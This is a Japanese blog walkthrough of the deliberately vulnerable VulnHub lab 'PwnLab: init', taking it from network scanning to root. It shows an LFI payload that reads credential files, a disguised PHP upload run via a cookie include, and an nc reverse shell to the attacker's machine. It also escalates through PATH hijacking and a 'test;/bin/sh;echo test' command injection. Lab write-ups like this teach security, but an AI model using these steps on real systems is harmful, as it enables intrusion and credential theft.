【VulnHub】 Pwnlab init - walkthrouth

VulnHubのpwnlab initを実施

PwnLab: init ~ VulnHub

私の最初のBoot2Root仮想マシン、 "PwnLab:init"にようこそ。簡単であることを意味して、私はあなたがそれを楽しんでそして多分何かを学ぶことを願っています。このCTFの目的は、rootになってde flagを読むことです。

簡単ということなので挑戦

 

初期偵察

・netdiscoverでIPアドレスを特定

netdiscover -r 192.168.23.0/24

IPアドレスは192.168.23.136f:id:driasandlions55:20190208135122p:plain 

 

・公開されているポートを確認

nmap -sV -p- -A -n 192.168.23.136
 

f:id:driasandlions55:20190208135201p:plain

 

以下の情報を取得

  • 公開ポートは80,111,3306,34556
  • Debian
  • Apache 2.4.10
  • OpenSSH 6.6.1p1
  • MySQL 5.5.47

・Webページにアクセスしてみる

f:id:driasandlions55:20190208135334p:plain

 

Login画面とUpload画面がある。

Login画面にSQLインジェクションを試してみるも成功せず

Upload画面はLoginしないと使用できないと表示

 

 ・公開ディレクトリ調査
dirb、dirbuster、nikto等を試す。
niktoでconfig.phpという認証情報が記載されているというファイルがあることがわかる。

f:id:driasandlions55:20190208135631p:plain

 
 ・mysql
mysqlが起動しているのでhydraによるブルートフォースを試すも
対策されておりうまくいかず。
 
投入コマンド
hydra -L user.lst -P /usr/share/wordlists/rockyou.txt.gz 192.168.23.136 mysql

 

結果

[ERROR] Host '192.168.23.132' is blocked because of many connection errors; unblock with 'mysqladmin flush-hosts'
 
・LFIの脆弱性
以下のサイトを参考にLFIの脆弱性を試す
 
アドレスバーに以下のように入力
192.168.23.136/?page=php://filter/read=convert.base64-encode/resource=config
 
するとconfig.phpbase64で表示される

f:id:driasandlions55:20190208170318p:plain

これをデコードするとmysqlの認証情報が記載されていた。

f:id:driasandlions55:20190208170548p:plain

 

侵入

mysqlへログインする。

f:id:driasandlions55:20190212135139p:plain

 ブルートフォースを行ったことによりIPがブロックされてしまっていたので、

いったん対象を再起動

 

f:id:driasandlions55:20190212135336p:plain

再起動することでmysqlへログイン完了。

認証情報に記載のあったデータベースUsers内にusersテーブルを確認すると

3ユーザ分のログイン情報とパスワードが含まれている

f:id:driasandlions55:20190212135733p:plain

 

3つのうちどれかのユーザでログインするとファイルをアップロードできるようになる

f:id:driasandlions55:20190212135952p:plain

 

 適当なファイルをアップロードしようとするとエラーになる

f:id:driasandlions55:20190212140655p:plain

 

ソースを確認するためアドレスバーに以下のように入力し、upload.phpを取得する

アドレスバーに以下のように入力

192.168.23.136/?page=php://filter/read=convert.base64-encode/resource=upload
 
upload.phpが取得できる
<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

upload.phpを確認すると、アップロード可能なファイルにいろいろと条件がある模様

  • 拡張子はjpg、jpeg、gif、png
  • mimeタイプをチェック
アップロードするファイルにリバースシェルが含まれるファイルを用意して
ヘッダ部分を画像ファイルに見せかけてアップロードすればいいんだなと
いうことは分かった。
 
・ファイルの作成
上記を参考に先頭部分が以下で始まり、phpを含むファイルを拡張子pngで用意する
47 49 46 38 39 61

f:id:driasandlions55:20190212152843p:plain

このファイルをアップロードする
アップロード後のソースを見ると以下のファイル名でアップロードされていることがわかる

f:id:driasandlions55:20190212153328p:plain

kali linux側でncでリバースシェルを待ち受ける
nc -lvp 5555
 
先ほどアップロードしたファイルを実行する方法を考える。
index.phpを見ると
include("lang/".$_COOKIE['lang']);
 とあり、COOKIEにlangを設定すれば実行できることがわかる。
<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
 
Burpを起動しておき、リバースシェルを実行するようブラウザのアドレスバーに以下を入力する
http://192.168.23.136/?cmd=nc -nv 192.168.23.132 5555 -e /bin/bash
 
BurpにてCookie部分を以下のように変更し"Intercept is on"をクリックする
lang=../upload/eb9fcafce2f193e736c0f60f295b8380.png 

f:id:driasandlions55:20190212160406p:plain

するとKali linux側で侵入成功

f:id:driasandlions55:20190212160706p:plain


kent、mike、kaneのそれぞれのユーザにログインしてみる

kent、kaneはmysqlのパスワードを使いまわしているようだ。

mikeはログインできず

kaneのホームディレクトリ配下に"msgmike"というファイルを見つける。

f:id:driasandlions55:20190212162006p:plain

 

ファイル形式を確認すると実行形式のファイルなので実行してみる。

f:id:driasandlions55:20190212163001p:plain

 

/home/mike/msg.txtを参照しているようだがエラーとなっている。

f:id:driasandlions55:20190212163020p:plain

stringsで確認してみると

cat /home/mike/msg.txt

と実行していることがわかる。

 

フルパスで実行していないので環境変数のPATHを変更することで

好きな場所のcatを実行することができる。

まずはcatを実行すると/bin/bashを実行するようにファイルを作成する。

f:id:driasandlions55:20190212165803p:plain

 

PATH環境変数の先頭に偽のcatコマンドを配置したディレクトリ(/home/kane)を

追加し、catを実行すると/home/kane/catを実行するように変更する。

f:id:driasandlions55:20190212164721p:plain

 sbitが付与されたmsgmikeを実行することで、/bin/bashが実行されmikeユーザへ変更することができた。

f:id:driasandlions55:20190212170007p:plain

 mikeユーザのホームディレクトリを見るとmsg2rootというファイルがある。
f:id:driasandlions55:20190212170252p:plain

 
同様にstringsで確認すると以下のように実行していることがわかる。
/bin/echo %s >> /root/messages.txt

 

OSコマンドインジェクションを利用してコマンドを実行後に以下を入力して
rootへ昇格を試みる。
test;/bin/sh;echo test

 

f:id:driasandlions55:20190212171906p:plain

 rootへ昇格し、flag.txtを取得することができた。

f:id:driasandlions55:20190212172112p:plain